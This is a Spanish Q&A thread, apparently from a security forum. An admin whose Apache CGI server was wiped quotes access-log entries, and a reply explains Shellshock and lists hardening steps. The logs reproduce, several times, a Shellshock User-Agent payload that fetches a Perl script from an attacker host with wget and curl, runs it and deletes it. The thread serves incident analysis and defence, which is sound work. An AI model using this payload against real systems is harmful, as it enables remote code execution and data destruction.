Es necesario crear Apache seguro al usar el script cgi en el navegador

0

Mi servidor apache tiene el módulo cgi habilitado porque necesitamos ejecutar scripts cgi en el navegador. Hemos habilitado el módulo suExec de apache que permite ejecutar el script cgi como un usuario particular. En nuestro caso, ese usuario es ubuntu y, de forma incidental, también es un usuario sudo, pero no usamos ningún comando sudo en nuestros scripts cgi. archivo de sudoers manipulados para este propósito. Es un archivo predeterminado desde el principio.

Los scripts cgi que usamos están en el directorio / usr / lib / cgi-bin cuyo propietario es ubuntu. El directorio htdocs es / var / www / html donde se ubican todos los proyectos web. El propietario de este directorio también es ubuntu porque nuestros scripts cgi crean y actualizan archivos en estos directorios del proyecto y si el propietario de los directorios del proyecto no es ubuntu, no podemos escribir en estos directorios utilizando los scripts cgi.

Este es el escenario que estábamos usando desde hace mucho tiempo sin enfrentar ningún problema hasta la semana pasada. Un ataque llegó a la luz de la cal cuando un atacante eliminó proyectos web de / var / www / html usando un script cgi.

Obtuve esta entrada en el registro de acceso.

    [02/Mar/2017:03:36:20 +0530] "GET /cgi-bin/test.cgi HTTP/1.1" 200 12786 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

Tengo este archivo perl (perlscript.tgz), tiene 988 líneas, no estoy seguro de lo que hace, pero estoy bastante seguro de que ha hecho el daño porque las URL del proyecto en el archivo de registro no eran 404 antes de esta entrada y después de esto, todas las direcciones URL del proyecto fueron 404.

Esta no fue la única entrada. Antes de ello, Attacker intentó con múltiples intentos fallidos. Aquí están los registros de intentos fallidos.

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/script.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-bin.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

Todos estos intentos fueron infructuosos, casi cientos, pero todos fueron 404. El intento exitoso regresó con el estado 200 y destruyó todo.

¿Puede explicar cómo el atacante llegó a los directorios del proyecto y los eliminó y, lo que es más importante, qué debo hacer ahora para que mi sistema sea robusto contra estos ataques en el futuro?

    
pregunta Derek 05.03.2017 - 14:23
fuente

1 respuesta

3
  

necesitamos ejecutar scripts cgi en el navegador.

Erm, no. Los scripts CGI se ejecutan en el servidor.

  

En nuestro caso ese usuario

¿Está utilizando suexec para la separación de privilegios para un solo usuario? Eso es realmente ... inusual?

  

En nuestro caso, ese usuario es ubuntu

Erk! Y presumiblemente esta es una caja de Ubuntu. Supongo que realmente debes tener una muy buena buena razón para hacer esto.

  

El propietario del directorio [la raíz del documento] también es ubuntu

Oh, querido. No creo que hayas pensado bien en esto.

  

Si el propietario de los directorios del proyecto no es ubuntu, no podemos escribir en estos directorios usando scripts cgi.

Es posible que desee pasar algún tiempo leyendo la excelente documentación. Puede escribir en estos directorios con otros usuarios (o hacer que sean propiedad de otros usuarios y que su usuario cgi-bin pueda acceder a las lecturas (o lecturas).

Como dice Steffen, es probable que hayan llegado a usar Shellshock, pero una vez dentro tuvieron la ejecución de su servidor. Puedes parchar el shellshock vuln. Pero lo que has descrito aquí es un catálogo de mal diseño. Si este ataque fue algo más que los robots más triviales, los atacantes ya habrán instalado otras puertas traseras.

Transformar lo que has descrito aquí en algo seguro llevará más que unas pocas publicaciones y respuestas en los sitios de desbordamiento de pila.

Como mínimo absoluto:

  • Apague su servidor desde una órbita baja
  • Reconstruir desde una copia de seguridad anterior al ataque (no conectarse a Internet)
  • Coloque un parche en su servidor y busque una manera de mantenerlo actualizado
  • Instale un IDS basado en host y aprenda a usarlo
  • Separe el canal de control de su contenido y ejecútelo en un portal cautivo
  • Use un uid que no sea ubuntu para ejecutar sus scripts cgi
  • Asegúrese de que este usuario solo tenga acceso de escritura donde sea absolutamente necesario para hacer su trabajo
  • Aprenda cómo configurar los permisos de Unix, suexec y umask a continuación, presentan un mejor modelo de permisos
  • Por preferencia, ejecute el servidor web en una caja de arena de apparmor
  • Aplique el modelo antes de volver a conectarse a Internet
respondido por el symcbean 05.03.2017 - 23:55
fuente

Lea otras preguntas en las etiquetas